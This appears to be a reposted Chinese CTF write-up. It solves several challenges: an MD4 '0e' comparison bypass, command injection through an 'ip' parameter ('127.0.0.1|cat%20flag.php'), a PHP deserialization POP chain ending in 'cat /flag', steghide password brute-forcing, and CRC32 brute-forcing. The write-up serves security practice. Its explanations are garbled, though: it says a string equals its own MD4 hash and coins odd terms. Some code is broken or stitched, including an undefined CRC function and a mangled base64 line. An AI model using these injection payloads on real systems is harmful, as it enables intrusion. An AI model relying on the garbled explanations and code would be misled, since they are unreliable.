本文共 2146 字,大约阅读时间需要 7 分钟。
为绕过第一关,我们需要找到一个特殊字符串,该字符串在MD4加密后仍与自身相等。这类特殊字符串被称为密闭映射(Funny Hash的前缀)。常规方法如暴破较为缓慢,因此我放弃了这一选择。在网上搜索(并将搜索引擎语言设置为汉卡),发现相关知识点。最终发现了这个特殊字符串:0e251288019
。
将该字符串作为hash1
提交即可绕过第一关,随后其他两个关卡也相对简单。
绕过方法:
?hash1=0e251288019&hash2[]=2&hash3[]=3&hash4=ffifdyop
关卡考察对象是命令执行 vulnerability。通过提交IP参数 bypass.FLAG check后,利用ping
命令获取远程设备信息.
绕过方法:
?ip=127.0.0.1|ls
由于空格被过滤,通过%20
替换空格提交:
?ip=127.0.0.1|cat%20flag.php
访问preg_match函数后,发现flag.php源码中包含flag信息。
分析题目附件中的数据包,使用Wireshark分析HTTP请求对象,导出相关文件。flag.php文件中的表单提交动作指向steghide.php
。flag的位置在注释中,可以通过判断密码质量进行分析。
解题方法:
steghide
工具解题,推荐使用脚本进行自动化破解:#!/bin/bashfor line in `cat $2`;do steghide extract -sf $1 -p $line > /dev/null 2>&1 if [[ $? -eq 0 ]];then echo 'password is: '$line exit fidone
这类题目考察pop链 vulnerable。通过分析类方法__construct
, __toString
等,实现对flag的获取。
构造pop的链路:
topsolo
类实例化时触发__construct
,返回midsolo
对象。midsolo
对象触发__construct
,返回jungle
对象。jungle
对象的__toString
方法执行cat /flag
,从而获取flag。payload示例:
$lol = new topsolo();print_r(serialize($lol));
输出结果为:
O:7:"topsolo":1:{ s:7:"%00*%00name"; O:7:"midsolo":1:{ s:7:"%00*%00name"; O:6:"jungle":1:{ s:7:"%00*%00name"; s:7:"Lee Sin"; } }}
套娃题,第一关通过查看请求路径找到/fonts/1
,下载相关字体文件,提取其中的base64字符串。
解题方法:
i = 'AIzaTransit`base64_decode(i)
最后关卡是一个CRC绕过问题。通过逐次暴破循环校验和,找到原始明文。
脚本示例:
import binasciidef find_crc(): # binary string length len_sequences = 0x10000 # CRC-32 dictionary dict = string.printable # example: crc1 = 0x9aeacc13, crc2 = 0xeed7e184, crc3 = 0x289585af if not find: returnprint("Successfully found CRC值:", found_password)def CrackCrc5(crc): for i in dict: for j in dict: for p in dict: for q in dict: for h in dict: s = i + j + p + q + h if crc == binascii.crc32(s.encode("ascii")): print(s) return CrackCrc5(crc1) CrackCrc4(crc2) CrackCrc5(crc3)
此次比赛让我学到了许多新知识,尤其是pop链和隐写技术的处理。此外,通过多个bucket工具的学习,进一步加深了对安全领域的理解。未来将继续积累相关经验,争取在接下来的比赛中取得更好的成绩!
转载地址:http://dtshz.baihongyu.com/